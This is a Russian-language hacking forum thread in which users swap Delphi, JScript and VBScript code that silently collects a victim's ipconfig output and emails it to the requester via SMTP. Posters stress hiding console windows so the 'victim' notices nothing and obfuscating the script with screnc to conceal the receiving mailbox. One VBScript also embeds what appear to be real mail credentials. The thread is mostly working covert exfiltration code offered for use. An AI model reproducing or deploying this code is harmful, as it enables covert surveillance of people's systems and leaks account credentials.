ip на мыло

[hack-win32]

помнится был 1 файл .bat для создания в папке Temp ip.txt юзера , и 1 .vbs для отправки на мыло . Если у кого эти файлы ?

[aka_k4]

IP сонфиг отправляй...

[s0l_ir0n]

Можно сканпелировать такой кодес:
procedure GetIp;
var
data: TIdMultiPartFormDataStream;
begin
data := TIdMultiPartFormDataStream.Create;
data.AddFormField('param1', 'value1');
try
myip:=Form1.IdHTTP1.Post('http://www.whatismyip.com/automation/n09230945.asp', data)+#13#10;
finally
data.Free;
end;

end;
procedure TForm1.SendIP;
begin
SMTP.Host:='smtp.mail.ru';
SMTP.Username:='from@mail.ru';
SMTP.Password:='mailpassword';
SMTP.AuthenticationType:=atLogin;
SMTP.Port:=25;
with IdMessage do
begin
Body.Add('..IP report:..'+#13#10+myip);
From.Text := 'from@mail.ru';
Recipients.EMailAddresses := 'to@mail.ru';
Subject := '..IP report:..'+#13#10+myip;
end;
SMTP.Connect;
try
SMTP.Send(IdMessage);
finally
SMTP.Disconnect;
end;
end;

[hack-win32]

нето , мне нужен именно тот исходник

[Cecil B Demented]

echo ipconfig >> ip2snd.txt
start jsmail.jse





jsmail.jse:

var fso=new ActiveXObject("Scripting.FileSystemObject");
function Send(){
try{
var Cm = new ActiveXObject("CDO.Message");
var Cc = new ActiveXObject("CDO.Configuration");
var Fl = Cc.Fields;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = logn;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = pass;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = serv;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25;
Fl.Update();
Cm.Configuration = Cc;
Cm.To = document.Sendm.to.value;
Cm.From = youm;
Cm.Subject = document.Sendm.subj.value;
Cm.TextBody = document.Sendm.mesg.value + "\n------------------------------------\n.";
if (document.Sendm.namef.value==""){}
else{Cm.AddAttachment(document.Sendm.namef.value); }
Cm.Send();
Cm = null;
Cc = null;
Fl = null;
if (document.Sendm.as.checked) {
add(document.Sendm.to.value);
}
}catch (e){
if (e.number == -2147220974){
Send();
log(e.description);
}else{
stopErrors(e.description);
}
}
}


Извини лень искать для вб, но на js не так сложно, правда кусок выдран из моей мини hta тулзы, если почистить переменные, то будет работать + в скрипте реализовать надо четние файла - это если без аттача.

[hack-win32]

нето , чё-то неполучается
нужен код который невыдавая окон создавал ip.txt в temp и vbs который бы отправлял на мыло

[slesh]

vbs - юзая COM подрубаешся в WMI и береш IP
И потом через тотже COM и объект аутглюка отправляеш почту.
И никаких тебе окон. А вообще в служебной инфе о почте и так есть адрес с которобы было принято сообщение.

[Fepsis]

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "cmd.exe /c ipconfig > C:\ip.txt", 0, false

WScript.Sleep (5000)

Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.inbox.ru","ТВОЁ_МЫЛО@mail.ru","xs1vljm@inbox.ru","ИП пришли","Олололололо!111")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="xs1vljm"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="9e2chklhp"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.inbox.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\ip.txt"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing

[hack-win32]

спс всем кто помог , в коде ошибка , стоит пробел
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)
вот содержание 1.bat
ipconfig > C:\ip.txt
как сделать чтоб невыдавал окон ?

[Cecil B Demented]

Опять же:

var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run("%COMSPEC% /c ipconfig >> 1.txt",0);


%COMSPEC% /c

флаг /c обязателен иначе жертва может увидеть нечайно :) непонятные cmd...

+ сам скрипт лучше пропустить через "screnc" т.к. палить свой ящик хоть подставной нехоттся :))

Да и как сказал slesh, dos тут никчему.. js и вб могут брать ip и даж встречающиеся прокси на пути.

P.S. извиняйте пример опять под js.

[hack-win32]

нужен js код для запуска C:\ty.vbs , или код для bat что бы скрыто запускался невыдовая cmd